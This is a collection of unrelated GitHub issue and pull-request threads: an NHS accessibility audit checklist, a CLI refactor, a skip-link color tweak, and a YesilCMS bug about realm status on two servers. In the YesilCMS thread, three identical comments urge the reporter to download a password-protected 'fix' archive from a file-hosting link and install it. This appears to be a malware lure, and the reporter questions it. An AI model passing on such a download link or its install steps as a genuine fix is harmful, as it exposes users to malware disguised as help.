Investigate issues identified in the Nomena Accessibility Audit

What
As a result of a recent Nomensa Accessibility Audit on the NHS website, components and patterns in the design system/FE library were tested. Issues have been raised and will need to be investigated by a designer/developer.
Why
Improving the experience you give to people using your website and enabling more people to reach your information and services. Improving accessibility can also help boost your search engine rankings and fulfil your responsibilities under UK law - to be WCAG 2.1 compliant.
Done when

[ ] Check issue with checkboxes not being accessible with keyboards - is that because the design system checkboxes need changing or because the team using them didn’t apply them as given?

[ ] Where placeholder text contrast is low, it crops up in the NHS website content page template. Check with a designer if it also applies to the search box on the service manual website.

[ ] With hidden text in callouts - confirm with a designer whether any changes need to be made or is this because this is an issue by a team using them.

[ ] Address any issues raised in the audit in the accessibility guidelines (raise a separate ticket for this under the EPIC Accessibility guidance: - https://github.com/nhsuk/nhsuk-service-manual/issues/669

When you are thinking about the placeholder text, please can you also consider removing it altogether and placing any information given in the placeholder as a hint?
I'm actually surprised that an accessibility audit didn't suggest putting the label or hint outside the box.
Here are my two articles on the topic:
https://www.effortmark.co.uk/dont-put-labels-inside-text-boxes/
https://www.effortmark.co.uk/dont-put-hints-inside-text-boxes-web-forms/
I know that typically we only see the label 'Search' inside the search box, and it's possible to argue that everyone is trained to ignore it. I don't agree with that. I think that some people aren't trained to ignore it, and moving it into the correct place outside the box won't harm the ones who are ignoring it either.


Fix cli and logging

Refractored CLI
Added tests for CLI
Updated logging in CLI

@robinandeer , @guillermo-carrasco ?

Look good to me as far as I can tell! Merge? @guillermo-carrasco?

Didn't realized you refactored the tests as well, awesome! you guys... :heart_eyes:


Make accessibility text color visible

This is a small tweak to change the navigation text color to white. These links are useful for keyboard users too. I believe making visible doesn't affect usual users as these are only shown when fucusing.

Here are the similar real world examples:

ARIA: navigation role - Accessibility | MDN
Guidance on Web Accessibility and the ADA | ADA.gov

Thanks!


Realms status does not seem to take IP in account for second realm

Hi there,
I have two realms, hosted on different servers with different IP.
The first realm (A), on IP A, is a Vmangos.
The second realm (B) on IP B, is Azerothcore
The realm status works fine showing the first realm on IP A.
However for the second realm, on IP B, the status shows the status of realm A.
Both realms have the same ID (1) but on different servers.
I have tried changing the IP of Realm A in YesilCMS admin page, the status is still showing as online, even though this was the wrong IP.
I wondered if the issue was with Redis not clearing its cache, but after doing a FLUSHDB in redis, nothing changed.
Would you be able to help with this?

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

Is this a malware? Sorry to be doubtful but such a quick reply appears to be done by a bot. Also if code needs to be change, it can be highlighted in a comment, not sent via mediafire.

I found a work around.
I appears that the the realm name is obtained via the URL of the realmlist (set under General Settings), not via the IP of the realm. To show the right name, I had to create a "dummy" realm in the realmlist table of the server A (vrealmd).
All appears to be define in the file Realm_model.php around line 131.
    /**      * @param $id      *      * @return mixed      */     public function getRealmName($id)     {         return $this->auth->select('name')->where('id', $id)->get('realmlist')->row('name');     }
Given those are two different realm on two different servers, as they do not share the same build, shouldn't this function retrieve the realm name through a SOAP request via the IP of the realm?